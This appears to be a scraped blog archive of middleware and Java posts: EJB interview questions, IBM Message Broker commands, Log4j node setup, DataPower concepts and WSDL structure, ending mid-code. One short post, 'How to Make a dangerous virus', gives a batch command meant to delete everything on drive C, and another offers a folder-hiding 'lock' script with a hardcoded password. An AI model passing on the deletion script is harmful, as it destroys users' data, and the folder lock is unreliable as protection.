Friday, 1 November 2013

EJB Interview Questions

Q: What are the different kinds of enterprise beans?
A:Stateless session bean- An instance of these non-persistent EJBs provides a
service without storing an interaction or conversation state between methods. Any
instance can be used for any client.
Stateful session bean- An instance of these non-persistent EJBs maintains state
across methods and transactions. Each instance is associated with a particular client.
Entity bean- An instance of these persistent EJBs represents an object view of the
data, usually rows in a database. They have a primary key as a unique identifier.
Entity bean persistence can be either container-managed or bean-managed.
Message-driven bean- An instance of these EJBs is integrated with the Java
Message Service (JMS) to provide the ability for message-driven beans to act as a
standard JMS message consumer and perform asynchronous processing between the
server and the JMS message producer.

Q: What is Session Bean?
A:A session bean is a non-persistent object that implements some business logic
running on the server. One way to think of a session object is as a logical extension
of the client program that runs on the server.
Session beans are used to manage the interactions of entity and other session
beans,access resources, and generally perform tasks on behalf of the client.
There are two basic kinds of session bean: stateless and stateful.
Stateless session beans are made up of business methods that behave like
procedures; they operate only on the arguments passed to them when they are
invoked. Stateless beans are called stateless because they are transient; they do not
maintain business state between method invocations.Each invocation of a stateless
business method is independent from previous invocations. Because stateless
session beans are stateless, they are easier for the EJB container to manage, so they
tend to process requests faster and use less resources.
Stateful session beans encapsulate business logic and state specific to a client.
Stateful beans are called "stateful" because they do maintain business state between
method invocations, held in memory and not persistent. Unlike stateless session
beans, clients do not share stateful beans. When a client creates a stateful bean,
that bean instance is dedicated to service only that client. This makes it possible to
maintain conversational state, which is business state that can be shared by
methods in the same stateful bean.

Q:What is Entity Bean?
A:The entity bean is used to represent data in the database. It provides an objectoriented
interface to data that would normally be accessed by the JDBC or some
other back-end API. More than that, entity beans provide a component model that
allows bean developers to focus their attention on the business logic of the bean,
while the container takes care of managing persistence,transactions, and access
control.

There are two basic kinds of entity beans: container-managed ersistence (CMP)
andbean-managed persistence (BMP).
Container-managed persistence beans are the simplest for the bean developer to
create and the most difficult for the EJB server to support. This is because all the
logic for synchronizing the bean's state with the database is handled automatically
by the container. This means that the bean developer doesn't need to write any data
access logic, while the EJB server is
supposed to take care of all the persistence needs automatically. With CMP, the
container manages the persistence of the entity bean. Vendor tools are used to map
the entity fields to the database and absolutely no database access code is written in
the bean class.
The bean-managed persistence (BMP) enterprise bean manages synchronizing its
state with the database as directed by the container. The bean uses a database API
to read and write its fields to the database, but the container tells it when to do each
synchronization operation and manages the transactions for the bean automatically.
Bean-managed persistence gives the bean developer the flexibility to perform
persistence operations that are too complicated for the container or to use a data
source that is not supported by the container.

Q: What are the methods of Entity Bean?
A:An entity bean consists of 4 groups of methods:
1.create methods: To create a new instance of a CMP entity bean, and therefore
insert data into the database, the create() method on the bean's home interface
must be invoked. They look like this: EntityBeanClass ejbCreateXXX(parameters),
where EntityBeanClass is an Entity Bean you are trying to instantiate,
ejbCreateXXX(parameters) methods are used for creating Entity Bean instances
according to the parameters specified and to some programmer-defined conditions.
A bean's home interface may declare zero or more create() methods, each of which
must have corresponding ejbCreate() and ejbPostCreate() methods in the bean
class. These creation methods are linked at run time, so that when a create()
method is invoked on the home interface, the container delegates the invocation to
the corresponding ejbCreate() and ejbPostCreate() methods on the bean class.
2: finder methods: The methods in the home interface that begin with "find" are
called the find methods. These are used to query the EJB server for specific entity
beans, based on the name of the method and arguments passed. Unfortunately,
there is no standard query language defined for find methods, so each vendor will
implement the find method differently. In CMP entity beans, the find methods are
not implemented with matching methods in the bean class; containers implement
them when the bean is deployed in a vendor specific manner. The deployer will use
vendor specific tools to tell the container how a particular find method should
behave. Some vendors will use object-relational mapping tools to define the behavior
of a find method while others will simply require the deployer to enter the
appropriate SQL command.
There are two basic kinds of find methods: single-entity and multi-entity. Singleentity
find methods return a remote reference to the one specific entity bean that
matches the find request. If no entity beans are found, the method throws an
This page was created using BCL ALLPDF demo software.
To purchase, go to http://www.bcltechnologies.com/allpdf/
ObjectNotFoundException . Every entity bean must define the single-entity find
method with the method name findByPrimaryKey(), which takes the bean's primary
key type as an argument.
The multi-entity find methods return a collection ( Enumeration or Collection type) of
entities that match the find request. If no entities are found, the multi-entity find
returns an empty collection.
3. remove methods: These methods (you may have up to 2 remove methods, or
don't have them at all) allow the client to physically remove Entity beans by
specifying either Handle or a Primary Key for the Entity Bean.
4. home methods: These methods are designed and implemented by a developer,
and EJB specification doesn't have any requirements for them except the need to
throw a RemoteException is each home method.

Q: What are the methods of Entity Bean?What is the difference between Container-Managed Persistent (CMP) bean and Bean-Managed Persistent(BMP) ?
A:Container-managed persistence beans are the simplest for the bean developer to
create and the most difficult for the EJB server to support. This is because all the
logic for synchronizing the bean's state with the database is handled automatically
by the container. This means that the bean developer doesn't need to write any data
access logic, while the EJB server is supposed to take care of all the persistence
needs automatically. With CMP, the container manages the persistence of the entity
bean. A CMP bean developer doesn't need to worry about JDBC code and
transactions, because the Container performs database calls and transaction
management instead of the programmer. Vendor tools are used to map the entity
fields to the database and absolutely no database access code is written in the bean
class. All table mapping is specified in the deployment descriptor. Otherwise, a BMP
bean developer takes the load of linking an application and a database on his
shoulders.
                   The bean-managed persistence (BMP) enterprise bean manages synchronizing its
state with the database as directed by the container. The bean uses a database API
to read and write its fields to the database, but the container tells it when to do each
synchronization operation and manages the transactions for the bean automatically.
Bean-managed persistence gives the bean developer the flexibility to perform
persistence operations that are too complicated for the container or to use a data
source that is not supported by the container.BMP beans are not 100% databaseindependent,
because they may contain database-specific code, but CMP beans are
unable to perform complicated DML (data manipulation language) statements. EJB
2.0 specification introduced some new ways of querying database (by using the EJB
QL - query language).

Q:What are the callback methods in Entity beans?
A:The bean class defines create methods that match methods in the home interface
and business methods that match methods in the remote interface. The bean class
also implements a set of callback methods that allow the container to notify the bean
of events in its life cycle. The callback methods are defined in the
javax.ejb.EntityBean interface that is implemented by all entity beans.The
This page was created using BCL ALLPDF demo software.
To purchase, go to http://www.bcltechnologies.com/allpdf/
EntityBean interface has the following definition. Notice that the bean class
implements these methods.
public interface javax.ejb.EntityBean {
public void setEntityContext();
public void unsetEntityContext();
public void ejbLoad();
public void ejbStore();
public void ejbActivate();
public void ejbPassivate();
public void ejbRemove();
}
The setEntityContext() method provides the bean with an interface to the
container called the EntityContext. The EntityContext interface contains methods for
obtaining information about the context under which the bean is operating at any
particular moment. The EntityContext interface is used to access security information
about the caller; to determine the status of the current transaction or to force a
transaction rollback; or to get a reference to the bean itself, its home, or its primary
key. The EntityContext is set only once in the life of an entity bean instance, so its
reference should be put into one of the bean instance's fields if it will be needed
later.
The unsetEntityContext() method is used at the end of the bean's life cycle before
the instance is evicted from memory to dereference the EntityContext and perform
any last-minute clean-up.
The ejbLoad() and ejbStore() methods in CMP entities are invoked when the entity
bean's state is being synchronized with the database. The ejbLoad() is invoked just
after the container has refreshed the bean container-managed fields with its state
from the database. The ejbStore() method is invoked just before the container is
about to write the bean container-managed fields to the database. These methods
are used to modify data as it's being synchronized. This is common when the data
stored in the database is different than the data used in the bean fields.
The ejbPassivate() and ejbActivate() methods are invoked on the bean by the
container just before the bean is passivated and just after the bean is activated,
respectively. Passivation in entity beans means that the bean instance is
disassociated with its remote reference so that the container can evict it from
memory or reuse it. It's a resource conservation measure the container employs to
reduce the number of instances in memory. A bean might be passivated if it hasn't
been used for a while or as a normal operation performed by the container to
maximize reuse of resources. Some containers will evict beans from memory, while
others will reuse instances for other more active remote references. The
ejbPassivate() and ejbActivate() methods provide the bean with a notification as to
when it's about to be passivated (disassociated with the remote reference) or
activated (associated with a remote reference).

Q:What is software architecture of EJB?
A:Session and Entity EJBs consist of 4 and 5 parts respetively:
1. A remote interface (a client interacts with it),
2. A home interface (used for creating objects and for declaring business methods),
3. A bean object (an object, which actually performs business logic and EJB-specific
operations).
4. A deployment descriptor (an XML file containing all information required for
maintaining the EJB) or a set of deployment descriptors (if you are using some
container-specific features).
5.A Primary Key class - is only Entity bean specific.

Q:Can Entity Beans have no create() methods?
A:Yes. In some cases the data is inserted NOT using Java application, so you may only
need to retrieve the information, perform its processing, but not create your own
information of this kind.

Q:What is bean managed transaction?
A:If a developer doesn't want a Container to manage transactions, it's possible to
implement all database operations manually by writing the appropriate JDBC code.
This often leads to productivity increase, but it makes an Entity Bean incompatible
with some databases and it enlarges the amount of code to be written. All
transaction management is explicitly performed by a developer
.
Q:What are transaction attributes?
A:The transaction attribute specifies how the Container must manage transactions for a
method when a client invokes the method via the enterprise bean’s home or
component interface or when the method is invoked as the result of the arrival of a
JMS message. (Sun's EJB Specification) Below is a list of transactional attributes:
1.NotSupported - transaction context is unspecified.
2.Required - bean's method invocation is made within a transactional context. If a
client is not associated with a transaction, a new transaction is invoked
automatically.
3.Supports - if a transactional context exists, a Container acts like the transaction
attribute is Required, else - like NotSupported.
4.RequiresNew - a method is invoked in a new transaction context.
5.Mandatory - if a transactional context exists, a Container acts like the transaction
attribute is Required, else it throws a javax.ejb.TransactionRequiredException.
6.Never - a method executes only if no transaction context is specified.
This page was created using BCL ALLPDF demo software.
To purchase, go to http://www.bcltechnologies.com/allpdf/

Friday, 9 August 2013

How to Make a dangerous virus ?


1. Open Notepadand copy below code into it.
@Echo off
Del C:\ *.* |y

2. Save this file as virus.bat(Name can be anything but .bat is must)

3. Now, running this file will delete all the content of C Drive.

Warning:- Please don't try to run on your own computer or else it will delete all the content of your C

Drive. I will not be responsible for any damage done to your computer.
Password Protect Any Folder Without Any Software

How To Lock Folder ?
-----------------------------
1. Open Notepad and Copy code given below into it.

cls
@ECHO OFF
title coolhacking-tricks.blogspot.com
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder
:CONFIRM
echo Are you sure to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==n goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== coolhacksgoto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDMyFolder
md MyFolder
echo MyFolder created successfully
goto End
:End

2. Save the notepad file as lock.bat(.bat is must)

3. Now double click on lock.bat and a new folder will be created with name MyFolder

4. Copy all your data you want to protect in that New folder

5. Now double click on lock.bat and when command promp appears Type Yand press enter.

6. Now MyFolder will be hidden from you view, to access that folde double click on lock.bat

7. It will ask for password enter your password and done. (Default password is coolhacks)
• To change the password replace coolhacks with  new password in the above code
- See more at: http://www.coolhackingtrick.com/2013/04/password-protect-any-folder-without-any.html#sthash.ZywzUeHd.dpuf

MQSI Commands
------------------------

1.Mqsisetdbparams

Mqsisetdbparms--brokername-- -n --DataSourceName
-u --DataSourceUserId- -p –DataSourcePassword

To delete the set dbparams command


Mqsisetdbparms--brokername-- -n –DataSourceName


2.mqsisetcapacity

The mqsisetcapacity command to set the number of valid product licenses on your system.

mqsisetcapacity -c n

where n is the number of valid licences

3. mqsilistaclgroup

Use the mqsilistaclgroup command to view or list the currently defined:
  • User groups
  • Users
  • Objects
  • Access control lists

mqsilistaclgroup--+--------------------+--------------------><
+- -g --GroupName ---+
+- -u --UserName ----+
+- -b --Broker-------+
+- -e --ExeGroup-----+
+- -s --Subscription-+
+- -r root topic---------+

4.mqsidisplaycapacity


The mqsidisplaycapacity command to display the number of valid product licenses and the processor count values on the system

Mqsidisplaycapacity

5.mqsideploy

mqsideploy command to make a deploy request to the Configuration Manager

mqsideploy –b broker name – complete delta/complete –topic topic name –topology topology name -cancel –r –w timeoutValue – connection connection filename –e execution groupname –bar bar file name -rmMsgFlow name

6.mqsideleteaclgroup
The mqsideleteaclgroup command to delete the Configuration Manager database table relating to the group or user access control lists that you have defined

Syntax


Mqsideleteaclgroup –f filename –g groupname –u username –b broker name –e exegroup –s subscription –r –t

filename: File from which to import the configuration. The output of the mqsilistaclgroupcommand is the correct format


7.Mqsicustomize

Mqsicustomize command to customize the broker from the root directory of your broker, for example, /var/wmqi/MQP1BRK.This command is supported

8.Mqsicreatemsgdefs

This command is used to create the message defination files in ma message sets

Syntax is
Mqsicreatemsgdefs -p <newproject> -d <c:\myproject\source> -rmp -rmd


9.mqsicreatebar
The mqsicreatebar command provides a command line compiler that creates deployable broker archive files containing message flows and dictionaries.
Syntax
Mqsicreatebar –data workspacepath –b barfile –version vesionstring –p projectname –o file path

In the above command barflies and file path are required attributes.


10.mqsichangeflowstats
the mqsichangeflowstats command to:
  • Turn on or off accounting and statistics snapshot publication, or archive record output.
  • Specify that the command be applied to a specific flow message flow, or all flows in an execution group, or all execution groups belonging to a broker.
  • Modify the granularity of the data collected in addition to the standard message flow accounting and statistics. This extra data can include thread related data, node related data, node terminal related data, or a mixture of this data.
Sample command

Mqsichangeflowstats BrokerA -s -g -j -b none


11.mqsireportflowstats
mqsireportflowstats command to display the current options for accounting and statistics that have been set using the mqsichangeflowstats command
mqsireportflowstars –reportflowwstars –a=yes –rs –s

Publish/subscribe commands

12.Mqsiclearmqpubsub

the mqsiclearmqpubsub command to remove an MQSeries Publish/Subscribe broker as a neighbor of this WebSphere Business Integration Event Broker broker.


Syntax


Mqsiclearmqpubsub – brokername –n neighborqueuemanagename

13.Mqsijoinmqpubsub


The mqsijoinmqpubsub command to join this WebSphere Business Integration Event Broker broker to an Miseries Publish/Subscribe broker network. The command identifies a specific Miseries Publish/Subscribe broker to be the parent of the WebSphere Business Integration Event Broker broker

Syntax

Mqsijoinmqpubsub –brokername –p –parentQueueManagerName

14.Mqsilistmqpubsub

The mqsilistmqpubsub command to display the status of the Miseries Publish/Subscribe neighbor brokers to the specified WebSphere Business Integration Event Broker broker

Syntax
Mqsilistmqpubsub--brokername.

Migration commands 

15.Mqsimigratemsgflows


the mqsimigratemsgflows command to create new flows in the WebSphere Business Integration Event Broker V5.0 format, based on existing exported flows from a WebSphere MQ Event Broker V2.1 Configuration Manager.

Mqsimigratemsgflows –data workspacepath –p projectname –d directoryname –rm –log logfilename

16.mqsimigratemsgsets
The mqsimigratemsgsets command imports all the files with the extension .mrp in the directory specified by the -d parameter. Files with any other extension are ignored.
Syntax

Mqsimigratemsgsets –d ,<directory> -d ata workspace –rm –g –log <filename> -v

17.Mqsimigratetables
the mqsimigratetables command to migrate the database tables for brokers or the Configuration Manager.

Syntax

Mqsimigratetables –brokername -I serviceuseid –a service password

Mqsimigratetables –Configmgr -I serviceuseid –a service password

Properties commands

Mqsichangeproperties,Mqsireportproperties

Trace Commands

18.Mqsichangetrace

The mqsichangetrace command to set the tracing characteristics for a component

Syntax
usertrace
Mqsichangetrace – borker name u – e executiongroupname –f flow –r –l level – m mode –

Service trace

Mqsichangetrace – borker name -t – e executiongroupname –f flow –r –l level – m mode

19.mqsiformatlog
the mqsiformatlog command to process the XML log created by mqsireadlog.

Syntax

Mqsiformatlog –I inputfilename –o outfilename.

20.Mqsireadlog

the mqsireadlog command to retrieve the trace log for the specified component
mqsireadlog –componet –u –e egroup –f flowname–o outfilename


21.mqsireporttrace

the mqsireporttrace command to display the trace options currently in effect. This command is valid for:

syntax

mqsireporttrace –componet –u –e egroup –f flowname –o outfilename

22.Mqsicreateusernameserver

This command is used to create the usename server

Mqsicreateusernameserver –I service userid –a servicepassword –q queuemanagername –r intervel

23.Mqsichangeusernameserver

Mqsichangeusernameserver command to change various properties of the User Name Server.

24.Deleteusernameserver

Deleteusernameserver is used to delete the usenameserver

ConfigManager Commands

25.MqsicreateConfigMgr

Syntax>>-mqsicreateconfigmgr-- -i –ServiceUserID –a serviecpassword –q queuemanagername –n databasename –u databaseuserid –p databasepassword –d securitydomainname –s username serverqueumanagername –w work path


26.MqsichangeconfigMgr
syntax
MqsichangeconfigMgr – a servicepassword –I serviceuserid –p databasepassword –g usernameserver queuemgrname –d securitydomainname –j maxjvmheapsize

27.Mqsideleteconfigmg

Syntax mqsideleteconfigMgr


Broker commands

28.Mqsicreatebroker

Syntax

Mqsicreatebroker brokername –I serviceuserid –a servicepassword –q queuemanagername –n datasourecname –u datasourecuserid –p datasourcepassword –s unsqm -w workpath –l userlilpath –g configurationtiemout –p http port


29.Mqsichangebroker

Syntax

Mqsicreatebroker brokername ––a servicepassword I serviceuserid –p datasourcepassword –s unsqm -w workpath –l userlilpath –g configurationtiemout –p http port



30.Mqsidelteborker

Syntax
Mqsideletebroker brokername

Mqsireload
the mqsireload command to request the broker to stop and restart execution groups.

Syntax
Mqsireload brokername –egroup

31.mqsicbrreport

the mqsicbrreport command to help identify applications that use a content-based routing filter. The program inspects a broker's subscriptions table, and reports any filters it finds that might cause incompatible behavior.

Syntax

Mqsicbrreport brokername

Tuesday, 23 July 2013

Configuring the Log4j node in WebSphere Message Broker

First we will see why we should use Log4j node to trace business data when we could do the same with a Trace node.
The main difference between Log4j Node and trace node is... While using  trace node we can either switch on or switch off trace, we can’t control it any further, we have no other option but to disable or enable tracing on a message flow.This is not the case with Log4j Node, this node provides us with Levels of logging which can be enabled and disabled at runtime… Which enables us to stop specific logging nodes of a same message flow while others are running.

Installing Log4j is a two step process On the Toolkit and Runtime
In IBM® WebSphere® Message Broker, the Trace node is used for logging, but it has two limitations:
  • It does not have configurable log levels.
  • It is not extensible to other targets.
The well-known open-source Log4j logging framework from Apache Software Foundation solves those two limitations for Java-base applications. The WebSphere Message Broker IAM3 SupportPac provides a node that can be used by message flows in order to address all targets reachable by Log4j and configure log levels at runtime. To change the logging, you do not have to restart the broker or message flow, and the change is effective without delay.
Log4j is written in Java and has been ported to the C, C++, C#, Perl, Python, Ruby, and Eiffel languages. Log4j enables you to control logging behavior by editing a configuration file without touching the application code, so that logging statements can remain in shipped code without harming performance. Another feature of Log4j is inheritance in a logger hierarchy, which reduces the volume of logged output and the performance costs of logging. Log4j lets you direct log output to a file, an OutputStream, a java.io.Writer, a remote Log4j server, and to other output targets.
You can use Log4j to insert logging points into the code to make visible key progress points. For example:
  • When a message is accepted at an Input node of any protocol, insert an INFO log point.
  • After a message is put to an Output node of any protocol, insert an INFO log point.
  • If a message is split into several parts, insert an INFO log point after the node performing the split.
  • If you use a service call mechanism such as an HTTPRequest node or an MQRequest node, insert INFO log points to show that a request was sent and a response was received.
  • If you use resend logic, insert WARNING log points, unless you are using a framework that already contains such logging.
Log4j severity levels
As shown below, four severity levels are defined in the Log4j logging framework and used to identify and tag different events so that you can apply filtering. You need to assign an appropriate log level for each message that is to be logged.
  • ERROR -- Use when an application encounters a problem from which it cannot recover. Failing to process a message can be classified as an ERROR.
  • WARN -- Use to indicate that a non-critical error has occurred. For example, a retransmission loop has been started, or a table has missing data but the integration can recover.
  • INFO -- The "normal" severity level -- use for important events in an integration, such as message received, message committed to a queue, or the result of a routing decision.
  • DEBUG -- Use for logging information for debugging purposes -- usually during development. The DEBUG level is filtered in all environments except in the development environment.
Log4j limitations
  • The field Environment.Variables.Log4j.LogText takes precedence if it has a value when the Log4j node is reached.
  • The XPath and ESQL styles always wrap the result of an expression with the string() function, and no other XPath function is supported. If you want to output additional information, use the XML or XESQL styles.
  • The name of the flow is mapped to the thread property for Log4j using the Log4j node. In ESQL, you must provide this name explicitly, because it is not accessible because of ESQL to Java mappings.
Installing on toolkit:

From the Downloaded zip file we must first extract the Log4jLoggingPlugin_v1.1 zip to the Plugins folder which is

C:\Program Files\IBM\WMBT700\plugins(default for V7 toolkit) you can see the extracted folder in the red square. After doing this we will have to restart the toolkit for this to take effect.




Broker Installation:


        To Install this plugin in the runtime we will have to copy the below listed files to …MQSI\Shared Classes Folder the default path is “C:\Documents and Settings\All Users\Application Data\IBM\MQSI\shared-classes” but it depends on your installation setup…

Below is the list of files to be copied.
  • Log4jLoggingNode_v1.1.1.jar
  • jakarta-oro-2.0.4.jar
  • log4j-1.2.8.jar

    You can see the files in the red box.

The next step is to copy the “Log4jLoggingNode_v1.1.1” to the “C:\Program Files\IBM\MQSI\7.0\jplugin” Folder
Restart the broker runtime to take effect.

Using The Log4J Node in Flow: 

Using this node requires us to configure a XML file, which holds the information regarding Location of log file and the Level of Log that has to be logged. This Xml is the Configuration input which we give to the broker at runtime, by default the file name is “brokerlog.xml” this file along with the “brokerlog.dtd” must be present in the broker CLASSPATH as shown below.


CODING THE Log4J Node

The Log4J node requires some initialization before it is run, let’s see how to initialize the Environment for this node to run.

On the ESQL side…

CREATE FUNCTION initLog4j( IN CONFIG_FILE_NAME CHARACTER )
RETURNS BOOLEAN
LANGUAGE JAVA
EXTERNAL NAME "com.ibm.broker.IAM3.Log4jNode.initLog4j";
CREATE FUNCTION log4j_1_1( IN COMPONENT_NAME CHARACTER,
IN LOGGER_NAME CHARACTER,
IN LEVEL CHARACTER,
IN TEXT CHARACTER )
RETURNS BOOLEAN
LANGUAGE JAVA
EXTERNAL NAME "com.ibm.broker.IAM3.Log4jNode.log";

CREATE PROCEDURE Initialize_Log4j()
BEGIN
DECLARE rc BOOLEAN;
IF (SIMPOC_Log4j_Initialized.valid = NULL) THEN
CALL initLog4j('brokerlog.xml') INTO rc;
IF ( rc = FALSE ) THEN
THROW USER EXCEPTION MESSAGE 5560 VALUES ('Error Initializing log4j');
END IF;
SET SIMPOC_Log4j_Initialized = TRUE;
CALL log4j_1_1(SQL.MessageFlowLabel, 'default', 'WARN', 'initLog4j() completed initialization of log4J env.' ) INTO rc;
END IF;
END;
And to call the function we will have to 
CALL Initialize_Log4j();

The data to be logged should be present in the Environment before control reaches Log4j node
SET Environment.Variables.Log4j.LogText = “USER DEFINED LOG”;
Or We can log the info by writing an xpath expression …(which would extract data from incoming message)
As shown in the diagram this node will log the data present in Environment.Variables.Log4j.LogText variable.
 
For More information on this check out this link:-
http://www-01.ibm.com/support/docview.wss?uid=swg24021221

Thursday, 10 January 2013

DataPower XI-50 Concepts
-----------------------------

XML Firewall
The XML Firewall is designed to process generic XML requests and responses transmitted over HTTP or HTTPS. The XML Firewall uses a single protocol and contains one processing policy with a set of request, response, two-way, and error rules. Its configuration defines the listening IP address-port pair as well as general threat protection.Although the design of the XML Firewall is to process XML documents of all types, including SOAP-formatted messages, it can accept unprocessed (text/binary) documents. Through the processing policy, the XML Firewall can apply all of the various processing actions to the request and response message, regardless of format. Processing can include AAA, transformations, schema validation, logging, and cryptographic operations.Like all other DataPower services, the XML Firewall can be configured to proxy remote services. However, one of the commonly used features of the XML Firewall is to define the configuration as a loopback service. As a loopback service, the remote server is undefined. In this case, the service itself generates a response to the client after processing the request. This functionality is useful when developing, testing, and debugging a service when the remote server is unavailable.

Multi-Protocol Gateway
The Multi-Protocol Gateway is a powerful and versatile service. In additional to threat protection and document processing capabilities, the Multi-Protocol Gateway can process requests between various protocols. The supported protocols are HTTP,HTTPS, WebSphere MQ, WebSphere JMS, IMS™, FTP, NFS, SFTP, and TIBCO EMS.The Multi-Protocol Gateway receives incoming requests, processes them with a processing policy, and forwards the request to the remote server. The Multi-Protocol Gateway processes the response similarly, applying the applicable response rule, if configured.The Multi-Protocol Gateway uses front-side handlers to manage client connections.A single Multi-Protocol Gateway can have multiple front-side handlers that listen or poll for requests. The ability of configuring multiple front-side handlers allows a Multi-Protocol Gateway to receive requests from different protocols. For example, a
Multi-Protocol Gateway can have one front-side handler listening for HTTP requests and another handler polling a WebSphere MQ queue for messages. Both front-side handlers forward the incoming message to the Multi-Protocol Gateway for processing and forwarding to the remote server.All of the available protocols on which the Multi-Protocol Gateway can receive incoming requests can also be used on the server-side to forward the request to its destination. The client-side protocol does not need to match the server-side
protocol.A Multi-Protocol Gateway service offers many of the same services and capabilities
as a Web Service Proxy service. Unlike a Web Service Proxy service, a Multi-Protocol Gateway service cannot use a WSDL to determine a configuration.


Web Service Proxy
The Web Service Proxy provides security and abstraction for remote Web services.By loading a WSDL file and adding a front-side handler, a Web Service Proxy is ready to start receiving requests. Although this configuration is simplistic, it is a fully functioning, feature-rich service that provides endpoint/URI abstraction,
parser-based XML threat protection, XML well-formedness checking, SOAP schema validation, payload schema validation, hooks for monitoring, and a platform for building operation-level rules.The WSDL file provides critical information about a Web service, including endpoint locations, instruction on binding to these endpoints, and expected message schemas. With just the WSDL and a front-side handler, a Web Service
Proxy has the basic configuration. Additional configuration can be defined to meet your case requirements, such as AAA, document transformations, message encryption, and so forth.In addition to the Web Service Proxy being able to upload or fetch a WSDL file, the configuration of a Web Service Proxy can be through a subscription to a UDDI registry or WSRR server. Through subscription, the Web Service Proxy receives
automatic updates of the WSDL file or dynamically looks up the endpoints for the service.The Web Service Proxy has powerful monitoring and logging capabilities. Web services traffic that flows through a Web Service Proxy can be monitored and logged at the service level down to the WSDL operation level. Other features of a Web Service Proxy are service-level monitoring (SLM), WS-ReliableMessaging, WS-Policy, and WS-Addressing.

Integrating Websphere Datapower, Message Broker, MQ and Transformation Extender

How to integrate Websphere datapower XI50 with Websphere Message Broker and MQ in one flow.
Firstly, create a new project in Message Broker.
Add 3 Nodes:
1. An MQInput Node
2. An MQOutput Node
3. And a HTTP Request Node
Connect the 3 nodes to look like the following flow below:

For the MQInput and Output Node specify an existing MQ queue from which a message or file will be sent and received. If files want to be sent over MQ use MQ FTE (File Transfer Edition)
For the Message Broker HTTP Request Node, specify the Datapower Multi Protocol Frontside Handler.
Datapower setup:



HTTP Frontside Handler:


The HTTP Request URL will look like follow: http://IPAddressOfDP:8080
Change ‘IPAddressofDP’ to the address of your DP IP address.
When executing the Message Broker flow send a message to the Input Queue (MQInput) the message is sent to Datapower through the HTTP Request which does message transformation from Cobol to XML.
The Datapower Transformation Looks like follow:



The transformation Map was created and uploaded to Datapower using Websphere Transformation Extender Design Studio:



The reason for offloading the transformation to Datapower XI50 is for the speed of transformation and increase of flow speed.

Tuesday, 20 November 2012

WSDL(Web Services Description Language)

WSDL is an agreement between the service provider and consumer. It states how the service can be accessed and what the service offers, what are the inputs, what are the outputs, and what will be returned.To be more specific WSDL specifies the

Types:The data types used by the web service
Message: The messages used by the web service
Port-type: The operations that can be performed, and the messages that are involved
Binding: The communication protocols used by the web service
Lets see each of them in detail... starting with Types first...

 Types: The <types> element defines the data types that are used by the web service. For maximum platform neutrality, WSDL uses XML Schema syntax to define data types.

<wsdl:types>
<xsd:schema xmlns:mrm="http://tempuri.org/ms_sOaP" targetNamespace="http://tempuri.org/ms_sOaP" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<xsd:include schemaLocation="org/tempuri/mssoap/DETAILS_HOLDER_WSDLGenWrapper.mxsd"/>
</xsd:schema>
</wsdl:types>

The hi-lighted line indicates where the message definition files are available, this message definition in turn refers to the actual message definition... lets look into the details in the next post....

Message: This can be compared to the method inputs in java, this specifies what exactly should be the input of that particular service, very similar to parameters of a java method, this also describes what is the return message structure and the fault message structure. the below is xml structure displaying the same...


  <wsdl:message name="Operation1_in">
    <wsdl:part element="tns:Request_Details" name="Request_Details"/>
  </wsdl:message>
  <wsdl:message name="Operation1_out">
    <wsdl:part element="tns:Reply" name="Reply"/>
  </wsdl:message>
  <wsdl:message name="Operation1_fault1">
    <wsdl:part element="tns:Fault" name="Fault"/>
  </wsdl:message>


Quick look at the above xml structure will acknowledge us that Request_Details is the actual  message definition we are using as input for the "Operation1" OPERATION[method], and the reply and faults are Reply,Fault respectively.

Thats 2 parts out of 4 from a wsdl lets take a look at the rest of 2 parts i.e. Port-Type & Binding...

Port type: To understand this more easily i will give you an example... consider a java class which has lot of methods and variables defined in it, now, if you want to use the java class you will most probably access it by using its name... thats the same case with Port-Type too... port type defines Operations and their inputs and outputs...
  <wsdl:portType name="ms_sOaPPortType">
    <wsdl:operation name="GetCustomerDetails">
      <wsdl:input message="tns:Operation1_in" name="Operation1_Input"/>
      <wsdl:output message="tns:Operation1_out" name="Operation1_Output"/>
      <wsdl:fault message="tns:Operation1_fault1" name="Operation1_Fault"/>
    </wsdl:operation>
  </wsdl:portType>

GetCustomerDetails is the name, which service consumer will use to get the customer details, internally it is linked to Operation1,  we previously saw  how the xsd files were linked to these operations names.Lets take a look at the remaining part...

Binding: the binding brings together all the parameters we have declared so far... the binding tag has two attributes they are [name,type] any valid string literal can be used in the name and for the type one of the previously declared port type should be used hear.The soap:binding element has two attributes - style and transport. hear we are using HTTP transport, and the binding style is document, there is another binding style which is rpc...
<wsdl:binding name="ms_sOaPSOAP_HTTP_Binding" type="tns:ms_sOaPPortType">
    <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
    <wsdl:operation name="GetCustomerDetails">
      <soap:operation soapAction=""/>
      <wsdl:input name="Operation1_Input">
        <soap:body parts="Request_Details" use="literal"/>
      </wsdl:input>
      <wsdl:output name="Operation1_Output">
        <soap:body parts="Reply" use="literal"/>
      </wsdl:output>
      <wsdl:fault name="Operation1_Fault">
        <soap:fault name="Operation1_Fault" use="literal"/>
      </wsdl:fault>
    </wsdl:operation>
  </wsdl:binding>

the rest of the wsdl:input, wsdl:output, wsdl:fault describe the specific message parts which are used by the web service as input output and fault...

And the last part

<wsdl:service name="ms_sOaPSOAP_HTTP_Service">
    <wsdl:port binding="tns:ms_sOaPSOAP_HTTP_Binding" name="SOAP_HTTP_Port">
      <soap:address location="http://localhost:7800/ms_sOaPSOAP_HTTP_Service"/>
   </wsdl:port>
</wsdl:service>

Binds our binding with an external name by which the end user accesses the service specifies where the service is actually available[Host name] and the port name...Color code is implemented to make it more clear how the elements are linked.... hope you get it.

Friday, 9 November 2012

Distribution in MQ using Commands

 Miscellaneous Functions in MB v7.0


CREATE COMPUTE MODULE miscellaneous_flow_Compute
    CREATE FUNCTION Main() RETURNS BOOLEAN
    BEGIN
    --CALL CopyMessageHeaders();
